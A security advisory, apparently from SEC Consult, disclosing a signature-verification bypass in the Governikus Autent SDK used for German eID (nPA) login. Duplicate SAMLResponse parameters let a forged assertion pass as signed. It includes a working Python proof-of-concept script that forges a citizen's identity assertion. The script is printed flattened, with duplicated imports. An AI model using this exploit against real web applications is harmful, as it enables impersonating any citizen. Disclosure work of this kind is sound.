Vendor Description
German original, translated to English: “In the course of digitization, electronic identities have become indispensable. At the same time, the requirements for protection, handling with regard to legal security and the federation of electronic identities are increasing. With Governikus Autent, server and client components are available to ensure authentication through electronic identities. Governikus Autent meets all the requirements of a modern identity management solution.”
Source: https://www.governikus.de/produkte-loesungen/governikus-autent-und-ausweisapp2/
Business Recommendation
During a short crash test SEC Consult identified a critical vulnerability in the Governikus Autent SDK nPA authentication code (German id card authentication).
This vulnerability could allow an attacker to impersonate any German citizen on a vulnerable web application.
SEC Consult recommends to immediately apply the workaround described below or apply the patch provided by the vendor. Moreover, SEC Consult recommends web application providers to check historic log files for evidence of this attack. SEC Consult recommends conducting a thorough source code security review on the Governikus Autent components as they are integral for the security of many web applications.
Vulnerability Overview/ Description
The software component tested is used by web applications to integrate nPA authentication (authentication using the German official id document).
As the last step of an authentication transaction, the web application the user authenticates against receives a string containing all relevant data about the citizen (e.g. first name, last name). As this string is signed by a trusted party (an eID server), the application can verify the authenticity of this string.
The component in the web application that is supposed to verify this signature can be tricked into accepting a string that has been modified. An attacker that has acquired a single legitimately signed string can use this to authenticate as any German citizen to any web application that trusts the eID server’s signature. An attacker could acquire such a signed string by hosting a web application and tricking a victim to authenticate, by gaining access to a signed string sent to a legitimate web application (man-in-the-middle attack, getting access to the access log) or by authenticating against a web application using his own id document.
Proof Of Concept
1) Signature Bypass
During the last step of the NPA transaction, the user is redirected to the SAML receiver of the web application she tried to authenticate against. The SAML response is sent as a URL parameter:
<host>/<receiver path>?SAMLResponse=<SAML response>&RelayState=<...>&SigAlg=<sig alg.>&Signature=<signature>
According to the demo application, the first verification a SAML receiver is meant to do is call the method HttpRedirectUtils.checkQueryString passing the query string (as it is returned by request.getQueryString()). If this method returns false, the signature could not be verified.
This method internally deconstructs the query string into individual parameters, reconstructs the query string and then verifies the signature.
If however, the query string contains multiple parameters of the same name, only the last occurrence of a parameter is built into the query string the signature is verified against. Therefore, if a query string is constructed like following, the first SAML response is ignored during signature verification:
...?SAMLResponse=<SAML response 1>&SAMLResponse=<SAML response 2>...
Afterwards, when the SAML response is processed, the application is likely to use the method ServletRequest.getParameter() to retrieve the SAML response (the demo application which is meant to show the integration of the library also does this). As per the specification of this method, the application server is supposed to return the first parameter value, if multiple parameters with the same name were sent.
Thus, the signature is verified against the second occurrence of the SAMLResponse parameter, while the first occurrence of the SAMLResponse parameter is further processed by the application.
An attacker is therefore able to arbitrarily modify an authentic query string. By obtaining such a string (e.g. by providing a web application with nPA login and then checking the access log), he is able to authenticate as any citizen against any vulnerable web application that also trusts the issuer of the signature.
The following script demonstrates this issue:
import webbrowser, re, urllib, zlib from urlparse import urlparse from base64 import b64encode # enter the URL of the receiver import webbrowser, re, urllib, zlib from urlparse import urlparse from base64 import b64encode # enter the URL of the receiver AUDIENCE = 'https://localhost:8443/AutentSAMLDemo/NewReceiverServlet' saml = '''<?xml version="1.0" encoding="UTF-8"?> <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:eid="http ://bsi.bund.de/eID/" Version="2.0"> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" /> </samlp:Status> <saml2:Assertion Version="2.0"> <saml2:Conditions> <saml2:AUDIENCERestriction> <saml2:AUDIENCE>##AUDIENCE##</saml2:AUDIENCE> </saml2:AUDIENCERestriction> </saml2:Conditions> <saml2:Subject> <saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml2:SubjectConfirmationData NotOnOrAfter="2099-01-01T00:00:00.000Z" Recipient="##AUDIENCE##" /> </saml2:SubjectConfirmation> </saml2:Subject> <saml2:AttributeStatement> <saml2:Attribute Name="AcademicTitle"> <saml2:AttributeValue xsi:type="xs:string">The Bad</saml2:AttributeValue> </saml2:Attribute> <saml2:Attribute Name="GivenNames"> <saml2:AttributeValue xsi:type="xs:string">Evil</saml2:AttributeValue> </saml2:Attribute> <saml2:Attribute Name="FamilyNames"> <saml2:AttributeValue xsi:type="xs:string">Attacker</saml2:AttributeValue> </saml2:Attribute> <saml2:Attribute Name="DocumentValidity"> <saml2:AttributeValue xsi:type="eid:DocumentValidityResultType" Version="1"> <eid:ReferenceDate>2010-01-01</eid:ReferenceDate> <eid:Status>valid</eid:Status> </saml2:AttributeValue> </saml2:Attribute> <saml2:Attribute Name="DocumentType"> <saml2:AttributeValue xsi:type="xs:string">ID</saml2:AttributeValue> </saml2:Attribute> </saml2:AttributeStatement> </saml2:Assertion> </samlp:Response>''' saml = saml.replace('##AUDIENCE##', AUDIENCE) # make SAML as small as possible to fit it in a GET request saml = re.sub('\s+', ' ', saml) # read the captured signed URL with open('signed_url.txt', 'rt') as f: url = urlparse(f.read().strip()) c = zlib.compressobj(-1, zlib.DEFLATED, -9) compressed = c.compress(saml) + c.flush() url = url._replace(query='SAMLResponse={0}&{1}'.format( urllib.quote(b64encode(compressed)), url.query)) webbrowser.open(url.geturl())
Vulnerable / Tested Versions
The version that was distributed with the demo application (3.8.1) was found to be vulnerable which was the latest version available at the time of discovery.
Moreover, the library version distributed/included with the (at the time of discovery) latest release of the beA Client Security (3.20.3) is vulnerable as well. As our identified vulnerability affects HTTP query parsing, the beA client is most likely not vulnerable. No further analysis has been performed though.